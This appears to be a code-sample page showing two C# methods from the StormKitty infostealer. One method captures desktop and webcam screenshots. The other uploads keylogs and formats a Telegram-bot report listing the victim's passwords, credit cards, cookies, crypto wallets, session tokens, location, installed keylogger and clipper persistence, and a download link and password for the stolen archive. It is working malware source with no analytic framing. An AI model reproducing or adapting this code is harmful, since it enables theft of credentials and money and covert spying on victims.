Esempio n. 1
0
        // Save photos
        private static void SendPhotos()
        {
            string logdir = LogDirectory + "\\" + DateTime.Now.ToString("hh.mm.ss");

            if (!Directory.Exists(logdir))
            {
                Directory.CreateDirectory(logdir);
            }

            System.Threading.Thread.Sleep(3000);
            DesktopScreenshot.Make(logdir);
            System.Threading.Thread.Sleep(12000);
            if (Detect())
            {
                WebcamScreenshot.Make(logdir);
            }
        }
Esempio n. 2
0
        /// <summary>
        /// Format system information for sending to telegram bot
        /// </summary>
        /// <returns>String with formatted system information</returns>
        private static void SendSystemInfo(string url)
        {
            UploadKeylogs();

            // Get info
            string info = (""
                           + "\n  ๐Ÿ˜น *StormKitty - Report:*"
                           + "\nDate: " + SystemInfo.datenow
                           + "\nSystem: " + SystemInfo.GetSystemVersion()
                           + "\nUsername: "******"\nCompName: " + SystemInfo.compname
                           + "\nLanguage: " + Flags.GetFlag(SystemInfo.culture.Split('-')[1]) + " " + SystemInfo.culture
                           + "\nAntivirus: " + SystemInfo.GetAntivirus()
                           + "\n"
                           + "\n  ๐Ÿ’ป *Hardware:*"
                           + "\nCPU: " + SystemInfo.GetCPUName()
                           + "\nGPU: " + SystemInfo.GetGPUName()
                           + "\nRAM: " + SystemInfo.GetRamAmount()
                           + "\nPower: " + SystemInfo.GetBattery()
                           + "\nScreen: " + SystemInfo.ScreenMetrics()
                           + "\nWebcams count: " + WebcamScreenshot.GetConnectedCamerasCount()
                           + "\n"
                           + "\n  ๐Ÿ“ก *Network:* "
                           + "\nGateway IP: " + SystemInfo.GetDefaultGateway()
                           + "\nInternal IP: " + SystemInfo.GetLocalIP()
                           + "\nExternal IP: " + SystemInfo.GetPublicIP()
                           + "\n" + SystemInfo.GetLocation()
                           + "\n"
                           + "\n  ๐Ÿ’ธ *Domains info:*"
                           + Counter.GetLValue("๐Ÿฆ *Banking services*", Counter.DetectedBankingServices, '-')
                           + Counter.GetLValue("๐Ÿ’ฐ *Cryptocurrency services*", Counter.DetectedCryptoServices, '-')
                           + Counter.GetLValue("๐ŸŽจ *Social networks*", Counter.DetectedSocialServices, '-')
                           + Counter.GetLValue("๐Ÿ“ *P**n websites*", Counter.DetectedPornServices, '-')
                           + GetKeylogsHistory()
                           + "\n"
                           + "\n  ๐ŸŒ *Browsers:*"
                           + Counter.GetIValue("๐Ÿ”‘ Passwords", Counter.Passwords)
                           + Counter.GetIValue("๐Ÿ’ณ CreditCards", Counter.CreditCards)
                           + Counter.GetIValue("๐Ÿช Cookies", Counter.Cookies)
                           + Counter.GetIValue("๐Ÿ“‚ AutoFill", Counter.AutoFill)
                           + Counter.GetIValue("โณ History", Counter.History)
                           + Counter.GetIValue("๐Ÿ”– Bookmarks", Counter.Bookmarks)
                           + Counter.GetIValue("๐Ÿ“ฆ Downloads", Counter.Downloads)
                           + "\n"
                           + "\n  ๐Ÿ—ƒ *Software:*"
                           + Counter.GetIValue("๐Ÿ’ฐ Wallets", Counter.Wallets)
                           + Counter.GetIValue("๐Ÿ“ก FTP hosts", Counter.FTPHosts)
                           + Counter.GetIValue("๐Ÿ”Œ VPN accounts", Counter.VPN)
                           + Counter.GetIValue("๐Ÿฆข Pidgin accounts", Counter.Pidgin)
                           + Counter.GetSValue("๐Ÿ“ซ Outlook accounts", Counter.Outlook)
                           + Counter.GetSValue("โœˆ๏ธ Telegram sessions", Counter.Telegram)
                           + Counter.GetSValue("โ˜๏ธ Skype session", Counter.Skype)
                           + Counter.GetSValue("๐Ÿ’ฌ Discord token", Counter.Discord)
                           + Counter.GetSValue("๐ŸŽฎ Steam session", Counter.Steam)
                           + Counter.GetSValue("๐ŸŽฎ Uplay session", Counter.Uplay)
                           + Counter.GetSValue("๐ŸŽฎ BattleNET session", Counter.BattleNET)
                           + "\n"
                           + "\n  ๐Ÿงญ *Device:*"
                           + Counter.GetSValue("๐Ÿ— Windows product key", Counter.ProductKey)
                           + Counter.GetIValue("๐Ÿ›ฐ Wifi networks", Counter.SavedWifiNetworks)
                           + Counter.GetSValue("๐Ÿ“ธ Webcam screenshot", Counter.WebcamScreenshot)
                           + Counter.GetSValue("๐ŸŒƒ Desktop screenshot", Counter.DesktopScreenshot)
                           + "\n"
                           + "\n ๐Ÿฆ  *Installation:*"
                           + Counter.GetBValue(Config.Autorun == "1" && (Counter.BankingServices || Counter.CryptoServices),
                                               "โœ… Startup installed", "โ›”๏ธ Startup disabled")
                           + Counter.GetBValue(Config.ClipperModule == "1" && Counter.CryptoServices && Config.Autorun == "1",
                                               "โœ… Clipper installed", "โ›”๏ธ Clipper not installed")
                           + Counter.GetBValue(Config.KeyloggerModule == "1" && Counter.BankingServices && Config.Autorun == "1",
                                               "โœ… Keylogger installed", "โ›”๏ธ Keylogger not installed")
                           + "\n"
                           + "\n  ๐Ÿ“„ *File Grabber:*" + ((Config.GrabberModule != "1") ? "\n   โˆŸ โ›”๏ธ Disabled in configuration" : "")
                           + Counter.GetIValue("๐Ÿ“‚ Images", Counter.GrabberImages)
                           + Counter.GetIValue("๐Ÿ“‚ Documents", Counter.GrabberDocuments)
                           + Counter.GetIValue("๐Ÿ“‚ Database files", Counter.GrabberDatabases)
                           + Counter.GetIValue("๐Ÿ“‚ Source code files", Counter.GrabberSourceCodes)
                           + "\n"
                           + $"\n๐Ÿ”— [Archive download link]({url})"
                           + "\n๐Ÿ” *Archive password is*: \"_" + Implant.StringsCrypt.ArchivePassword + "\"_"
                           );

            int last = GetLatestMessageId();

            if (last != -1)
            {
                EditMessage(info, last);
            }
            else
            {
                SetLatestMessageId(SendMessage(info));
            }
        }